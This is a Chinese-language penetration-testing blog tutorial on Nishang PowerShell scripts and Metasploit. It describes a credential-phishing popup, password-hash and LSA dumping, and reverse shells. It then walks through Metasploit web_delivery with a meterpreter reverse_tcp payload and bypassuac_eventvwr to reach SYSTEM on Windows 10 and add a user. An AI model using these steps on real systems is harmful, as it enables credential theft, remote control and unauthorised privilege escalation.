Powershell And Metasploit(上)

00x01

#什么是Powershell

PowerShell一般指Windows Power Shell

Powershell是Microsoft Windows命令行shell程序和脚本环境,它提供了令人难以置信的

活性和功能来管理Windows系统,现在Windows系统上基本上都有它的存在。正因为它的强大,才能被我们所利用,帮助我们进行渗透测试。

Powershell的各系统版

indows 2008 R2 - Version 2

Windows 2012 - Version 3

Windows 2012 R2 - Version 4

Windows 2016 - Version 5

#Poswershell的优秀之处

代码运行在内存中可以不去接触磁盘

从另一个系统中下载代码并执行

很多安全产品并不能监测到powershell的活动

cmd.exe通常被阻止运行,但是powershell不会。

00x02

#所需要准备的东西

1: Nishang:https://github.com/samratashok/nishang(本文主要工具,其他不做使用介绍)

用于逆向工程的PowerShell模块,可进行反汇编托管以及非托管的代码、进行.NET恶意软件分析、分析内存、解析文件格式和内存结构、获得内部系统信息等。

#导入Nishang脚本

1:启用Powershell

Win+R 启动Powershell

2:加载Nishang脚本

命令:Import-Module .\nishang.psm1

记住,要加上.\否则会报错例如这样

00x03

模块介绍

#信息搜集

0:Check-VM 它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:HVMWare,Virtual Box,)来识别。

1:Invoke-CredentialsPhish 这个脚本是用来欺骗用户输入账号密码信息的

他会一直持续到你输入正确为止(无法关闭)直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码

Useradmin:admin

PassWord:qwe123!@#

2: FireBuster FireListener 可以对内网进行扫描,它会把包发给FireListener

脚本作者的Github上面还提供了一个Python版的监听端:

https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/

3:Get-Information 这个脚本可以获取目标机器上大量的信息(FTP访问,进程,计算机配置信息,无线网络和设备的信息,Hosts信息等等非超丰富)。

还有许多,反正就是很丰富当然,如果你这样看不习惯,也可以使用Out-File来将运行结果保存到指定文件.

Get-Information | Out-File D:\1.txt

4:Get-LSASecret 该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下。

因为执行这个脚本需要32位的powershell(我的为64)就不做演示了

5:Get-PassHashes 这个脚本在Administrator的权限下,可以读出密码哈希值

可以使用-PSObjectFormat来格式化输出结果

6:Get-WLAN-Keys 在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息

没有装wlan所以没有信息

7:Invoke-MimikatzWdigestDowngrade Dump出Windows 8.1 and Server 2012的系统用户密码。

相信看到Mimikatz也就知道了 执行了Windows会锁屏

8:Get-PassHints 从一个目标得到Windows用户的密码提示 没有密码提示,就不演示了

以上内容从安全课一篇文章中介绍,因为内容有点像,就引用了对脚本的介绍

喜欢提权的小伙伴,干货来了~~~

#反弹shell

0:Invoke-PowerShellTcp 互交式Powershell 反向TCP连接

首先我在Kali(标题带有kali怎么能不启用kali呢)上启用启用一个监听

然后开始在Powershell上使用Invoke-PowerShellTcp 反弹一个shell过去

同样,windows也可以挂载一个监听使用powercat即可

Powercat项目地址:https://github.com/besimorhino/powercat

同样在Powershell上使用Invoke-PowerShellTcp 反弹一个shell过去

同样,毫无例外

1:Invoke-PowerShellUdp 互交式Powershell 反向udp连接

同样我先在Kali上启用启用一个监听不过这次用的ncat

2:powercat 这款工具的强大我相信也不用我多说了吧,他被称之为PowerShell的netcat之前也有说,我就不细细介绍了

当然,反弹shell不止这么点,还有许多,我就不一一介绍了接下来开始进行一个实例操作吧~~~

00x03实战操作Powershell与Metasploit

1:win10_BypassUAC(win10提权)

1:攻击者ip:192.168.1.103

2:攻击者系统:Linux Kali

3:被攻击者ip:192.168.1.100

4:被攻击者系统:Win10

2:攻击流程

1:使用Metasploit中的web_delivery模块生成一个Powershell脚本

2:被攻击者系统执行Posershell脚本

3:msf接收一个会话

4:使用bypassuac模块提升权限

3:攻击开始

1:加载web_delivery模块

use exploit/multi/script/web_delivery

Show options查看所需要设置的信息

设置target为2

set target 2

加载一个Payload

set payload windows/meterpreter/reverse_tcp

设置LHOST

设置LPORT

开始攻击

Exploit

然后我在物理机上执行下Metasploit给我的Powershell执行代码

Metasploit反弹得到一个meterpreter会话

加载BypassUac模块

use exploit/windows/local/bypassuac_eventvwr

Show options 查看所需配置

Set session

设置你刚刚获得的meterpreter会话

Exploit 开始攻击

当然你需要换一下你的端口,否则会冲突

反弹得到一个会话

得到system权限

使用shell命令进入cmd 添加用户

已经添加成功 如果直接添加是不可以的

Powershell And Metasploit(上)结束

下会后续发布~~ 如果文字教学不懂的话可以跟我说一下,我尝试做一套教程~

UAC提权(来自我们demon表哥的视频):

本文搜集许多资料做的小结,有如雷同,请勿责怪~

作者:墨(X_Al3r)

你可能喜欢

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180319B0FKSB00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券